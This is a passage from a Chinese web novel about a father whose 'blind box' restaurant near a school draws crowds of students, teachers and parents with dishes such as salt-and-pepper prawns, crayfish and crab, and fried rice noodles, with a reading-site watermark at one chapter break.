提前过来的顾客们正在闲聊时，厨房内楚易文还在继续做菜。 腌制好的大虾裹上薄薄一层粉后开始油炸，随着虾的颜色开始变红, 一股浓郁虾香随着他的油炸动作源源不断从锅里飘出来。 当他把虾进行二次复炸时，虾壳被炸得金黄酥脆，用滤网捞出来时网和虾碰撞间能听见酥脆的摩擦声。 随着二次复炸，店门再也关不住这股油炸带来的焦鲜味，闻见那股虾香，外面的顾客不自觉轻嗅起来，甚至脚步都往前走了几步, 试图隔着玻璃大门看进厨房里。 “太香了，每天一到他做饭时间，我真是连自家店都不想看了……” 文具店老板感叹完, 旁边另外一家店老板赞同地点头：“谁说不是呢，闻见这股香味，谁还有心思做生意。” “太香了, 闻得我都饿了。” 他们还好，能在店门口等着, 学校内学生们在上最后一节课时那才叫着急，还没到放学时间就跟椅子上长钉子一样坐不住。 高二某班，今天他们班最后两节课被老师用来考试，某个学霸提前十分钟做完试卷, 举手道：“老师，我做完了，可以提前交卷吗？” “检查过了？” “已经检查过了。” 老师对成绩好的学生还是很有包容心，闻言让他交卷后出去自由活动。 “帮我买……” 看到他可以提前离开教室，立刻有和他关系不错的学生小声喊他帮忙买饭。 然而老师耳朵却是很尖, 立刻严肃道：“不要说话，没做完的还不赶紧做。” 学霸成功从教室出去，然而却被门卫拦在学校大门口。现在还没到放学时间，学生想要出去，除非有老师开的假条，他只能在校门口晃悠着等到放学铃声。 随着铃声终于响起，他二话不说就往校外跑，跑到盲盒餐厅外时，就看到店内已经有不少人。 “还好我来得早。”他心里想着，赶紧走进店里排队。 楚易文给几个顾客打好饭菜，抬头就看见穿校服的学生，不由问了句：“你怎么这么早就过来了？” 虽然放学铃声已经响了，但从学校到店里也需要时间。 “我要那个虾，还有豆腐……”他望着面前色香味俱全的饭菜，先把自己想吃的点完才开口，“我们班今天考试，我提前交卷了。” “那你成绩肯定很好。” 楚易文刚夸完，外面出现一群学生往这里冲的身影，几秒后，跑得最快的几个学生冲进店里。 “今天有虾！我要一份虾，还要红烧鸡翅。”最先进来的学生看清楚今日菜单就立刻点菜，同时在香味诱惑下不自觉咽了下口水。 随着学生们放学，店内可以说是瞬间就人满为患，自从知道他家菜量有限，三个年级的学生放学后完全不敢拖延，几乎都是第一时间往这里跑。 在大家抢着去排队时，莹莹拉着朋友小跑进来，边嗅着扑面而来的香味边在店内寻找，在看到妈妈时眼睛瞬间亮起来。 “妈妈~” 她声音上扬地喊完，已经来到桌边，望着色香味俱全的五菜一汤，还没吃就感觉到幸福。 “快坐下来吃饭。”莹莹妈妈早就被馋得不行，如果不是为了等女儿，她早就开始吃。 此时见女儿终于过来，握着筷子直接往她和她朋友碗里分别夹个椒盐大虾，随即又夹一个送到自己嘴边。 椒盐大虾表面呈现漂亮的金红色，由于油炸火候把握完美，虾壳表面带着点焦糖色。细小的椒盐附在虾壳上，看起来酥脆干爽，没有太多油光。 那股油炸的焦香和食材本身的鲜味不停往人鼻子里钻，让人迫不及待想要品尝。莹莹妈妈咬上去时，先感受到外壳的酥脆咸香，随着“咔嚓”一声，椒盐特有的咸鲜在味蕾上蔓延开来，同时带着点花椒的酥麻。 用嘴将虾壳咬下来后，她甚至舍不得直接吐掉，而是咀嚼几下，将上面味道吃完才吐出来，开始吃虾肉。如果说虾壳是极致的酥脆，那么虾肉就是鲜嫩多汁，吃起来特别弹牙，与外层的酥脆形成反差。 椒盐大虾她以前也吃过，但从来没发现，原来虾还可以这么好吃。 “妈妈，这个虾太好吃了！”莹莹吃着外酥里嫩的椒盐大虾，好吃到眼底都微微带上几分水气。 不是她泪腺太短，实在是味道好到极致的美食，真的能好吃到让人感动。椒盐大虾咸、鲜、香、麻几种味道达成完美平衡，新鲜的虾肉不光吃起来弹牙，甚至有种鲜甜多汁的感觉，和椒盐的咸鲜完美融合，吃完余味在舌尖环绕，令人回味无穷。 她在感叹椒盐大虾的美味时，店内其他学生用羡慕的眼神望着她。 “真好啊，她妈妈竟然提前过来帮她买饭。” “是啊，好羡慕，我要是喊我妈过来帮我买饭，她肯定会骂我。” “那个虾看起来又大又香，太馋人了，希望等排到我时还有卖。” “香味就不说了，光是卖相就比食堂的要诱人一百倍！” 其他学生羡慕莹莹时，楚瑾钰四人走进店里，熟门熟路去厨房里拿饭出来吃。 饭菜端上桌，胡一齐不由感叹：“楚瑾钰，我头一次有认识你真好的感觉！” 不怪他会如此感叹，今天他们班老师又拖堂了，如果盲盒餐厅不是楚瑾钰他爸开的，以店内现在的排队人数，他们八成是吃不上饭的。 楚瑾钰“切”了声：“你现在才知道啊？” 他说完顾不上再搭理胡一齐，而是被那份诱人的椒盐大虾给吸引，握起筷子就赶紧夹一个吃起来。 他还知道拿筷子，胡一齐直接上手捏着虾尾巴拿起个虾，张嘴就咬上去，那咸鲜酥脆的口感，让他连虾壳带虾肉直接吃起来。 “真是绝了！感觉楚爸做的虾都好好吃啊！” 外壳极致的酥脆配上内里的鲜嫩多汁，加上复合的椒盐香味，好吃到胡一齐别说虾壳，就连微硬的虾尾都一起嚼碎吃掉。 叶其林看到他完全不吐壳的行为，边吃边道：“你也不怕消化不良。” “虾壳这么脆，我觉得可以吃，不吃太浪费了。”胡一齐道。 像他一样连虾壳都舍不得吐的人可不少，都是尝到虾壳咸鲜酥脆的口感后，根本舍不得吐。 就连旁边桌上的莹莹，最开始时她还将壳剥下来，越吃剥出来的壳就越少，因为感觉壳特别香，嚼着嚼着就直接咽下去。 她吃完最后一个椒盐大虾后甚至忍不住吮了两下手指，感觉根本没吃够。 莹莹妈妈见此有点后悔刚刚没多买点，转头朝旁边看过去时，就看到一堆排队的学生，估计想再去加菜没戏，于是道：“等下午我每样菜多买点。” “那要是吃不完怎么办？”莹莹有点担心会浪费。 莹莹妈妈不在意道：“没事，吃不完带回去给你爸吃。” 由于饭菜太香，让人吃饭速度都不自觉变快，后面人买到饭时，最前面那批顾客已经吃完。 “别再排队了，已经没有菜了。”楚易文卖完最后那点菜，说完就收拾东西进厨房。 其实他前面就提醒过好几次，只是排队的人抱有侥幸心理，根本不听。此时见真的卖完，他们只能失望地转身离开，随便去附近找个地方觅食。 由于拖堂的缘故，今天楚瑾钰班上其他同学基本上都没吃到盲盒餐厅的饭菜，看到他们吃完饭回教室，有人忍不住问今天中午的菜色。 “有椒盐大虾，特别好吃，外壳那叫一个酥脆，里面的虾肉嫩得弹牙，和食堂的速冻虾完全不同。”胡一齐听到有人问，立刻滔滔不绝描述起今天的午餐。 听到他的描述，教室里同学馋得不行。 “希望下午不要再拖堂了……” “食堂现在是越来越难吃了，我真不想吃食堂。” “何止食堂，外面那些店水平越来越不稳定，我中午出去吃的炒粉，感觉粉都是碎的，而且好油。” 听到炒粉，胡一齐想到挺久没吃，不由对楚瑾钰道：“明天能让楚爸炒粉吃吗？忽然有点想吃。” “你下午自己跟我爸说呗。”楚瑾钰觉得以他在他爸面前的讨喜程度，他爸才不会拒绝。 明明才刚吃完午饭，学校内一堆人就已经开始盼着吃晚饭，然而当你越盼望一件事，时间就过得越慢。 “怎么还有两节课，好想赶紧放学啊，感觉我都饿了……” 下课时间，楚瑾钰听见胡一齐的声音，打趣道：“你才不是饿，你分明是馋的，真饿的话小卖部里又不是没东西吃。” “楚爸说下午做虾兵蟹将吃，你不馋吗？” 所谓虾兵蟹将，就是小龙虾加大闸蟹一起做，有虾又有蟹，想想就很爽。 胡一齐话落，楚瑾钰馋不馋不确定，班上其他学生是真有被馋到。 “螃蟹和小龙虾？两个都是我爱吃的！好想吃啊！” “最后一节是什么课来着？” “生物课。” “生物？石老师还是很好说话的，你们说可不可以让他提前两分钟给我们放学？” “跟他商量一下，感觉他应该能同意？” 中午没吃到美食，得知晚上楚瑾钰他爸会做“虾兵蟹将”，班上同学根本不想错过。 于是等到最后一节生物课时，老师刚进门，几个性格特别开朗的学生就立刻跑上前，有人负责接他手里课本，有人负责将椅子往后拉，还有人拿着块抹布装模作样擦讲台。 “你们这是整那出？”石老师被他们逗笑。 “亲爱的石老师，可以求你一件事情吗？” 楚瑾钰他们几个不怕没饭吃，于是笑着看班上同学唱大戏。 “什么事？你们先说。”望着这帮古灵精怪的学生，石老师可不敢随便答应他们。 “待会可以提前几分钟放学吗？” “石老师你最好了，肯定不会拒绝我们的对吧？” 石老师：“提前几分钟放学？你们想干嘛？” “不干嘛，我们只是想吃饭。” “对啊，我们能有什么坏心思，只是想吃饭而已，上午物理老师拖堂，导致我们都没吃上饭。” “不至于吧，物理老师是拖堂多久了？”听到他们说中午没吃上饭，石老师感觉有点夸张，毕竟没哪个老师会饭点不让学生吃饭。 “他没拖很久，但是盲盒餐厅太抢手了，准时放学都不一定能吃到……” 听到盲盒餐厅石老师立刻明白过来，毕竟最近只要有空，他也会在这家店吃饭。 “中午的椒盐大虾确实好吃，你们没吃到真是太可惜了。”石老师边回味边说。 听到他中午有吃到，班上学生们立刻嚷嚷起来，最终石老师松口道：“好了好了，想提前放学也不是不行，你们待会上课专注点，我提前两分钟给你们放学。” “好耶！” 同学们欢呼一声，接下来都端正坐姿，拿出最认真的态度开始上课。 石老师说话算话，离放学还有三分钟时，他合上书道：“其他班还在上课，你们待会下楼时声音小一点，不要影响别人，好了，下课吧。” 话落，他第一个走出教室，连办公室都不回，直接往学校门口方向走，显然也是准备去盲盒餐厅吃饭。 盲盒餐厅外，此时已经有七八个顾客在等着，与此同时，店门口萦绕着一股带着香辣气息的鲜味。 “好像是小龙虾的味道，好香啊！” “我怎么闻着像是螃蟹味？” “太香了，这么香的菜，得整点酒喝喝。”王老板说完就想去附近店里买酒，却被他妻子瞪了眼，不让他喝。 厨房内，楚易文将“虾兵蟹将”盛到盆里，红彤彤的小龙虾配上火黄灿灿的大闸蟹，卖相看起来特别诱人。 其实原本他不会连着两顿都做虾，但谁让他昨晚运气不太好，十连抽奖抽出来大部分都是食材。像是腊肉什么的还能保存，大虾、小龙虾、大闸蟹这些，当然要趁新鲜吃，所以才会中午有椒盐大虾，晚上又有“虾兵蟹将”。 虾和蟹两种不同的鲜味融合在一起，再配上浓烈霸道的复合香气，当他把店门打开那一瞬间，浓郁的香味扑向顾客们，让他们都不自觉开始咽口水。 “嚯，这螃蟹，这小龙虾，看起来也太诱人了！” “个头好大，看着就特别好吃。” 系统提供的食材品质自然没得说，小龙虾和大闸蟹不论是新鲜度还是个头都特别好，让人光看着就觉得肯定好吃。 单人份虾兵蟹将楚易文定价是三十八，以食材的品质和他的手艺来说，其实已经很实惠。像是王老板他们这些顾客，都是眼都不眨就直接点了，但对于学生们来说，一道菜就要三十八，再来个米饭就四十，其实有点小奢侈。 不过随着学生大军涌入店内，倒是没有谁嫌“虾兵蟹将”卖得贵，有钱的直接自己买一份，钱不多的跟朋友商量着合买。 除了提前等在店门口的顾客外，就数石老师最先买到饭菜，他等不及回学校里吃，直接找个位置坐下来。 红亮油润的汤汁包裹着小龙虾和大闸蟹，让它们看起来格外诱人，石老师一时都不知道先吃哪个好，最终还是拿起大闸蟹。 被一切为二的大闸蟹切口处裹着薄薄一层面糊，将蟹黄完全包裹起来防止它泄露，此时一口咬上去，蟹黄浓郁的鲜味在嘴里蔓延开来，同时面糊吸收汤汁带着香辣气息，让蟹黄味道更加美味。 唔，太香了！ 这一口蟹黄吃得石老师特别满足，等把蟹黄吃完，他将剩下的蟹肉在汤里滚两下，原本雪白的蟹肉沾上红亮的汤汁，吃起来香辣咸鲜中带着食材本身的鲜甜。 楚瑾钰他们四人几乎是跟石老师前后脚进门，此时同样在吃螃蟹。 “好多蟹黄啊，太好吃了！” 饱满的蟹黄吃得胡一齐眼睛都眯起来，像是偷到腥的猫一样满足。 “虾兵蟹将”里不光大闸蟹好吃，小龙虾同样美味，饱满的虾肉从壳里剥出来，在汤汁里滚一圈，吃起来鲜嫩弹牙。 还在排队的同学看到他们吃得那么香，口水都差点没流出来，同时不停伸长脖子往前看，生怕轮到自己时菜卖完了。 莹莹妈妈下午依旧提前过来帮女儿买饭，不过此时桌上却是只有她们母女俩。至于莹莹的朋友，她不好意思总是麻烦别人，于是表示自己下午回家吃饭，顺便让她妈妈明天过来帮忙买饭。 “妈妈，这个螃蟹好好吃啊！一点都不腥！” 莹莹吃着香辣咸鲜的大闸蟹，眼睛都微微亮起来。每年中秋节时家里都会买大闸蟹，但她觉得腥，从来都不吃。 今天她最开始也只吃“虾兵蟹将”里的小龙虾，但是看到她妈妈吃螃蟹吃得那么香，忍不住尝试一下，这一尝，简直惊为天人。 蟹黄鲜香中带着几分沙沙的口感，吃起来有点像咸蛋黄，但比咸蛋黄更加浓郁美味，蟹肉极致的鲜甜在汤汁的衬托下，好吃到令人陶醉。至于她最讨厌的腥气，那是半点都没吃出来，好吃到令她有点想跺脚。 “确实好吃，也不知道是怎么做的，不管是虾还是蟹肉都很嫩，而且没有腥味……”莹莹妈妈边吃边夸。 最绝的是明明小龙虾和大闸蟹都是香辣味，但那股霸道的香辣气息却没有完全掩盖食材本身的鲜甜，吃起来令人回味无穷。 她怕女儿不够吃，下午多点了点菜，最终的后果就是，她们母女俩吃到撑都没吃完。 “嗝……” 听到女儿都已经打饱嗝，还非要继续吃菜，莹莹妈妈赶紧阻拦：“好了好了，喜欢吃明天妈妈再给你买，别把自己撑坏了。” 桌上“虾兵蟹将”已经吃完只剩汤汁，还剩下酸辣土豆丝、辣椒炒肉、啤酒鸭和一点冬瓜排骨汤。 “我最后吃一口。”莹莹说完夹起块啤酒鸭，哪怕已经吃饱了撑着，还是觉得好好吃。 “妈妈，剩下这些可以等我晚上回家吃！” 女儿晚餐已经吃得够多，而且她平常根本没有吃宵夜的习惯，当妈的都怕她吃太多会消化不良，于是道：“你爸晚上还没吃到，给你爸吃吧，省得我回家还得给他做饭。” 莹莹闻言，这才点头：“好吧。” 她摸着有点撑的肚子回学校时，她妈妈拎着打包好的饭菜也从店里离开。 莹莹妈妈前脚刚到家，莹莹爸爸后脚就回来，她摸着还没冷的饭菜道：“你回来得正好，省得我热饭了。” “怎么突然去外面买饭吃？”莹莹爸爸疑惑。 “莹莹学校门口开了家餐厅，特别好吃，我跟她晚上没吃完，就打包回来给你当晚餐。” 莹莹爸爸：“咱们家这条件，不至于让我吃你们剩饭吧？” “你还嫌弃上我们母女俩了？不吃拉倒，本来莹莹还说要留着当宵夜，是我想着你还没吃饭说让你尝尝，真是好心当成驴肝肺。” 莹莹爸爸闻言心里有些不以为意，觉得学校门口的餐厅再好吃能好吃到哪去。不过老婆这么说，心意他还是得领，于是道：“我哪有嫌弃你们，行行行，我来尝尝到底是有多好吃。” 他说完将餐桌上袋子打开，一股浓郁饭菜香瞬间扑面而来。 “确实还挺香。”说话的工夫，他将几个盖子全部打开，露出里面的啤酒鸭、酸辣土豆丝、辣椒炒肉、冬瓜排骨汤、米饭以及一盒红亮的汤汁。 “这是什么？”他看向那盒红色汤汁。 莹莹妈妈闻言有点不好意思：“是菜汤，我觉得味道很好，想着拿个回来可以拌面吃。” 她没说是“虾兵蟹将”的汤汁，但莹莹爸爸却是闻出来：“是小龙虾吧，你们竟然一个都不给我留。” 控诉完，他在菜香诱惑下直接握着筷子吃起来，前面还一口菜一口饭，很快就忍不住把所有菜都倒入饭上，端起来大口大口吃着。 “好吃吧？”莹莹妈妈看到他那个吃相，语气透着笑意。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 肉蛋炒粉 莹莹爸爸根本顾不上回答, 看他那享受的表情就知道对碗里饭菜很满意。 酸辣土豆丝爽脆开胃，辣椒炒肉咸鲜可口，啤酒鸭那股肉香混着麦芽香的滋味令他越吃越喜欢, 冬瓜排骨汤更是鲜美中带着清爽。 “怎么不多带点？都不够我吃的。” 十几分钟后，莹莹爸爸放下碗筷露出意犹未尽的表情，只感觉这顿饭吃得特别舒服，每道菜都特别合他口味，连米饭都格外香。 “你平常不就是这个饭量。” 莹莹妈妈可没少给他带，完全是按照他饭量来的，毕竟菜可以说是她跟女儿多吃了点, 但那一整盒米饭可不少。 “菜太开胃了，根本不够吃，你是知道我的, 我平常不爱吃带酸口的菜，但今天这个酸辣土豆丝是真香，那股微微的醋酸味一点都不讨厌, 反而酸辣开胃……”莹莹爸爸回味着刚刚吃的菜，看得出来是很喜欢。 “这家店确实好吃, 不光味道好，食材更是吃得出来的新鲜。”莹莹妈妈说完继续补充，“那家店是学校一个家长开的，平常他儿子也在店里吃饭, 卫生方便绝对能放心。” “那挺好的，明天咱们还吃这家的饭吧。” 他们定好明天的伙食时，另外一个学生家，晚自习放学后，孩子回到家脸上写满不开心。 “悦悦怎么了？”悦悦妈妈看到女儿脸上的表情, 生怕她是在学校被人欺负了，赶忙开口关心。 听到妈妈温柔的声音，悦悦表情瞬间变得郁闷中带着几分委屈：“我晚上没吃到饭……” 不怪孩子委屈，她中午就想吃盲盒餐厅的椒盐大虾，结果等排到她时所有菜全部卖光。下午她想早点去，结果放学时肚子疼，等她跑完厕所出来，盲盒餐厅里队伍排得老长了，根本买不到饭。 最气人的是班上跟她关系不好的同学买到了饭菜，还故意拿“虾兵蟹将”馋她。 “晚上怎么会没吃饭？是钱用完了？” “不是……”悦悦将今天的情况说了一遍，在说到自己倒霉时，委屈得眼眶都有点红。 听明白前因后果，悦悦妈妈没觉得她小题大做，反而边喊孩子爸爸赶紧给她做点吃的，边搂着女儿道：“没事没事，明天让爸爸去帮你买，一定让你吃到想吃的。” 她之所以没说自己去买，主要是她要上班，而她老公属于自由职业者，时间比较自由。 厨房内，悦悦爸爸听到妻子的话，立刻应道：“爸爸明天就去你学校，看看到底是什么店那么好吃。” 问题已经被解决，悦悦情绪来得快去得也快，立刻跟爸爸妈妈分享起来：“那家店可好吃了，每次走到店门口就能被馋死……” 楚家。 楚易文不知道，有学生因为没吃到他家饭菜直接委屈哭了，此时他正在家里听儿子说，说他们明天想吃炒粉。 其实最想吃炒粉的是胡一齐，本来应该由他自己跟楚易文说，结果他下午吃“蟹兵蟹将”吃得太嗨，直接忘记。 “炒粉？行啊，明天中午吃还是下午吃？” “都行。” 父子二人商量好明天吃什么，很快各自回房间休息去。 第二天。 早上楚易文去采购食材时，跑了几个市场都对外面卖的米粉不太满意，于是干脆随便买一点，等回到店内选择用系统积分兑换。 从系统兑换出来的鲜米粉肉眼可见比买的色泽要自然很多，同时散发出清爽的米香。 做炒粉可比炒菜要省事得多，以至于他将食材提前处理好后见时间还早，干脆从店里出来，准备在附近随便逛逛。 学校周围有文具店、早餐店、奶茶店、小超市，店铺种类还挺多。他从各个店门口路过时，不少在他家店吃过饭的老板热情打招呼。 楚易文笑着回应完，溜达进书店里，闻着纸质书特有的油墨香，在书架前挑选起来。 自从大学毕业后，他几乎没再去书店或者读书馆买过书，一方面是太忙，一方面也是随着智能机发达，想看什么用手机就能搜到电子版。 不过在楚易文看来，电子书的阅读体验始终不如纸质书。 学校附近的书店教材书会更多些，其他书籍有是有，却不如读书馆种类那么丰富，他随便挑选两本就去结账，拿着书坐在自家店内看起来。 十月份的天气不冷不热，坐在店内时不时有风吹进来，感觉还挺舒服。自从开店后，他难得有空在这个时间能歇着，倒是有点偷得浮生半日闲的感觉。 早上天气还挺好，晴空万里，随着他看会书的工夫，外面天色忽然阴下来，没多久就噼里啪啦下起雨。 如果是下雨天还要出去上班，那么就会觉得雨很烦，但对坐在自家店里看书的楚易文来说，却觉得雨声还挺悦耳。 听着雨声看了好一会书，直到时间来到十点左右，他才合上书起身去厨房。 进入厨房后，他先将炒粉需要的肉丝切好腌制上，随即先煮了三鲜汤，然后再开始炒粉。 楚易文起锅烧油，将搅拌好的鸡蛋液下入锅中，用锅铲滑炒成大块的鸡蛋碎。嫩黄色的鸡蛋炒好盛出来备用，他又开始炒肉，提前腌制好的里脊肉丝用葱姜蒜炒香，依旧盛出来备用。 炒好的鸡蛋和肉丝放在旁边台面上，卖相先不说，光是那股鲜香闻起来已经很诱人。 这种香味能馋到其他人，但却馋不到楚易文这个厨师，肉丝炒好，他将蔬菜依次下锅炒至断生，青菜、洋葱、豆芽那清爽的香气融合在一起，闻起来就感受到食材的爽脆。 配菜全部炒好，主角米粉终于可以上场，楚易文将米粉下入锅中立刻转大火，高温让锅气瞬间上来，随着翻炒，米粉染上层油光，浓郁的米香混着油脂香，闻起来已经很诱人，随着他将提前调好的料汁淋上去，原本白色的米粉染成酱色，看起来格外漂亮。 悦悦爸爸按照女儿说的店名找过来时，就闻见股特别诱人的香味，肚子瞬间就咕咕叫起来。 他下意识顺着香味往前走，等走到店门外准备把伞收起来时，旁边有人道：“你别插队。” “啊？”悦悦爸爸被说得有点懵逼，搞不懂店门都没开，他怎么就插队了。 “我们都是过来吃饭的。”文具店王老板指着他们这些比他先来的人说。 悦悦爸爸闻言才发现，店门口这些人原来是在排队，赶紧说了声“不好意思”随即走到后面站定。 “你们怎么来这么早？”排好队后，悦悦爸爸忍不住询问。 他以为自己十一点前过来就已经很早，没想到竟然有人比他还先过来，而且还不止一个两个。 “没办法，这家店生意好就算了，偏偏老板还不多卖，每餐就那点菜，来晚了绝对吃不上。” “学校里那帮学生都抢着来他家吃，但凡晚点来，根本抢不过那些学生。” 外面的顾客闲聊时，厨房内，楚易文已经炒出好几锅炒粉，根根分明的米粉表面裹着琥珀色酱汁，配上嫩黄的鸡蛋碎、褐色的肉丝、紫红色洋葱、玉白色的豆芽、翠绿的小青菜，卖相看起来别提多诱人。 随着他不停继续做炒粉，浓郁的锅气夹杂着高温翻炒带来的焦香飘满整个店铺，又从门缝窗缝里钻出去，明明是很家常的气息，却令人垂涎欲滴。 “好像是炒粉香……”早餐店老板闻着带几分熟悉的香味，忍不住道。 “炒粉有这么香吗？香得我口水都快下来。” 他们在猜是不是炒粉时，学校内学生们已经上到最后一节课，很多人心思已经不在课堂上，而是已经飘到午餐上。 放学铃终于响起时，楚瑾钰班上同学都是课本都来不及合上，直接就往门外跑。 雨到现在还没完全停下，楚瑾钰直接对着同桌邀请道：“要不你跟我一起去我爸那吃饭吧。” 邵言易今天倒是有带伞，然而他家离学校本来就有点远，而且他家那条巷子容易积水，但凡雨下得大一点，他回家就容易把鞋打湿。 想到家里刚洗还没干的鞋子，他点头答应下来。 盲盒餐厅。 学生们还没从学校出来，提前过来的顾客已经看到今天的午餐，发现是肉蛋炒粉和三鲜汤时，其他人还没说什么，早餐店老板先开口：“今天怎么不卖饭菜改卖炒粉了？” “我儿子说想吃。”楚易文道。 “你这炒粉炒得比我还好，得亏你不是开早餐店的，不然我家生意怕是都要做不下去。” 楚易文闻言笑了下没说话，直接快速将炒粉夹好一碗递出去。 其他顾客跟早餐店老板关注点不同，他们望着那一盆盆色香味俱全的炒粉，还没吃就开口夸：“好香的炒粉啊，这么香的味道，刚刚在门外我都不敢相信只是炒粉。” “不用吃就闻见锅气香，老板给我来两份，一份我感觉根本不够吃。” 随着排在最前面的顾客买到炒粉，店外传来阵阵脚步声，很快就有学生冲进来。 “好香啊！” 几乎每到饭点跑进店里的学生都有人忍不住感叹，同时你推我我挤你地抢着去排队。 在其他同学还要去排队时，楚瑾钰却是直接带着邵言易往自己专属座位走。 “我把钱给你吧。” “同桌你这么客气干嘛，今天吃炒粉，本来就不要几个钱，你待会回学校请我喝瓶水就行了。”楚瑾钰道。 他拉着邵言易坐下来时，胡一齐已经望着桌上那一小盆炒粉夸起来：“不愧是楚爸，炒的粉都这么诱人，我感觉我一个人就能吃完这一盆。” “你以为你是猪啊！”楚瑾钰望着那一盆至少五六斤的炒粉，觉得他真是张口就来。 有美食在前，胡一齐根本顾不上跟他拌嘴，直接拿起碗筷开始夹炒粉。 楚易文做的炒粉特别舍得放配菜，随便一夹粉里就带着鸡蛋碎、肉丝和蔬菜，那丰富的食材，还没吃就令人最近疯狂分泌津液。 一碗粉还没夹完，在色与香的双重诱惑下，胡一齐忍不住直接往嘴里塞了口粉。 炒粉楚易文只稍微放了点辣，吃起来主调偏咸鲜，爽滑弹牙的米粉吃起来略带嚼劲，配上鲜嫩的鸡蛋，软嫩入味的肉丝，以及爽口的蔬菜，好吃到不要不要的。 “太好吃了！” 这声感叹并不是胡一齐发出来，却说出了他的心声，他大口咀嚼着嘴里的粉，只感觉从来没吃过如此香的炒粉。 锅气十足的炒粉吃起来简直令人上瘾，悦悦爸爸原本想等女儿来一起吃，结果在香味诱惑下根本没忍住。 配菜先不说，光是米粉本身就已经很令人惊艳，那爽滑柔韧的口感，那浓郁的米香，好吃到令人陶醉。 他完全沉浸在炒粉的美味中，好吃到脸都差点没埋进碗里，以至于悦悦小跑进店里时，找半天才找到他。 “爸你竟然都不等我！” 扑面而来的浓郁香气，让她简单吐槽一句就感觉坐下来，都顾不上纠结今天店里怎么是卖炒粉，端起自己那份就直接吃起来。 肉蛋炒粉吃起来口感特别丰富，米粉的顺滑弹牙，鸡蛋的鲜嫩，肉丝的柔嫩，蔬菜的爽脆，组成极致的味觉盛宴。 “好好吃啊！” 昨天店里又是虾又是螃蟹，今天却只有炒粉，要说悦悦心里完全不失望，那肯定不可能。然而在尝到炒粉的滋味后，她心里只剩下“真香”两个字，好吃到已经顾不上想别的。 她有爸爸提前过来帮忙排队，已经吃上午餐，店里更多的是还在排队的学生。 “还真是盲盒餐厅，每顿饭都不一样。” “确实，这种店才好，让人特别有期待感。” “最主要的是，感觉叔叔特别厉害，做什么都好吃。” 排队的学生说着说着，被那扑鼻而来的浓郁香味馋得口水都快下来。 随着排队的学生越来越多，最前面那批顾客已经快吃完，有人望着碗底，忍不住夸：“这粉炒得是真好，吃完碗底一点多余的油都没有，怪不得那么好吃！” 他话落，附近其他顾客下意识用筷子翻动一下，发现还真是，碗底半点积油都没有。 炒粉这种吃食要多放油炒出来才香，而且不容易糊锅，所以外面卖的炒粉经常会上面还好，底下越吃越油。 楚易文做的炒粉对火候和油量把握得特别完美，保证每根粉都裹上油，吃起来带着油脂香，却不会有多余的油渗透到碗底，导致越吃越油腻。 同时他放的那些蔬菜，让炒粉吃起来油润可口的同时还特别解腻，整碗吃完只会令人回味嘴里的余香，没人会觉得腻。 “这炒粉太完美了，简直挑不出一丝毛病！” 早餐店老板对面前即将吃完的肉蛋炒粉评价更高，作为一个自己也卖炒粉的人，他深知想炒出这样锅气十足还不油腻，同时口感和味道都特别完美的炒粉，根本不是件简单的事情。 反正他卖了十几年早餐，让他做这种炒粉，他还是做不出来，同时他心里庆幸，觉得还好楚易文不是专门卖炒粉的，不然他绝对得换地方开店。 第一批顾客吃饱离开，刚买到炒粉的学生赶紧找位置坐下来，还有人被馋得连位置都顾不上找，站在原地就直接开吃。 翠绿的小青菜清脆多汁，豆芽爽脆可口，洋葱丝为炒粉提鲜的同时软脆中带着微微回甜，几种蔬菜夹杂在炒粉中，让它吃起来清爽解腻的同时丰富多变。 单吃米粉时，咸鲜可口，米香浓郁；米粉配着肉和蛋一起吃，鸡蛋和肉丝两种不同的鲜味让米粉吃起来格外鲜嫩；如果用米粉加蔬菜，米香浓郁中带着蔬菜的清爽，那脆脆的口感，更是令人愉悦。 叶其林：“吃完楚爸做的炒粉，感觉以后外面卖的炒粉我再也不想吃了。” “外面的炒粉都很油腻，我还以为炒粉不多放点油就没法炒，吃过楚爸做的我才知道，原来炒粉也可以清清爽爽。”商时贸说完又吃一口，脸上露出享受的表情。 对于他这种不爱太油腻吃食的人来说，楚易文做的炒粉简直太合他口味，有油脂香却不腻，蔬菜的爽脆甚至给炒粉带来丝清爽。同时那微微的辣味，正好在他接受范围内，让他越吃越喜欢。 胡一齐：“说到这我就想到初三那年，有次我去买炒粉，让老板少放油，他说少放油炒不了，会糊锅，楚爸这不是也没糊。” “我就没见过我爸做菜糊过锅，说白了就是他们手艺不精。”楚瑾钰道。 被拉过来一起吃饭的邵言易闻言，跟着开口夸了句：“叔叔做的炒粉确实特别美味，比外面卖的都要好吃。” 不光肉蛋炒粉好吃，三鲜汤更是格外鲜，吃完炒粉再喝点汤，简直不要太享受。 由于炒粉对楚易文来说炒起来比较简单，他今天炒得挺多，让不少原本来得不够早，以为自己大概率吃不上的学生瞬间就惊喜起来。 “太棒了！我还以为今天中午又吃不上了！” “好香的炒粉！闻着就知道肯定好吃！” 又一批学生进店时，悦悦父女二人已经吃完炒粉在喝汤，悦悦爸爸忍不住道：“没想到你们学校边有这么好吃的店，可惜你妈公司离这里太远，吃不着。” “炒粉确实很好吃，不知道晚上会吃什么。”明明肚子已经吃得有点撑，悦悦却还是忍不住提前期待起晚餐来。 悦悦爸爸闻言开口道：“怪不得这家店叫盲盒餐厅，合着还真没顿都是不同的吃食。” “是啊，昨天下午有螃蟹和小龙虾，可惜我没吃到。”想到昨天的晚餐，悦悦还是感觉有点遗憾。 今天中午炒粉多卖了会，直到楚瑾钰他们吃完饭有一会，楚易文才有空端着碗走过来。 楚瑾钰：“爸，你下次可以自己先吃，别把自己给饿着。” “对啊楚爸，你可以吃完再开店，反正店里又不缺顾客。”胡一齐看到他现在才有空吃饭，也跟着表达关心。 楚易文：“没事，刚做完饭我也不是很有胃口，现在吃正好。” 做饭时的油烟是会影响厨师食欲的，给顾客们打完饭再吃，他吃得还要香一些。 听到他这么说，楚瑾钰几人才没说什么，而是纷纷夸他做的炒粉好吃。 此时店里还有一些学生在吃饭，闻言跟着夸起来：“叔叔你做的炒粉太好吃了，简直就是人间美味！” “我从来没吃过这么好吃的炒粉，刚刚差点咬到嘴巴。” “叔叔你做的炒粉竟然连一点多余的油都没有，太厉害了！” 自从开始营业后，楚易文每天都能收到夸赞，不得不说，还挺有成就感。 学生们很多嘴巴都特别甜，简直情绪价值给满，以至于在他们不停夸夸夸中，楚易文都忍不住松口，答应会稍微增加点每餐的菜量。 “爸，你也太好说话了，别把自己给累着。”楚瑾钰道。 楚易文：“没事，只是增加几个人吃饭的量，累不着。” 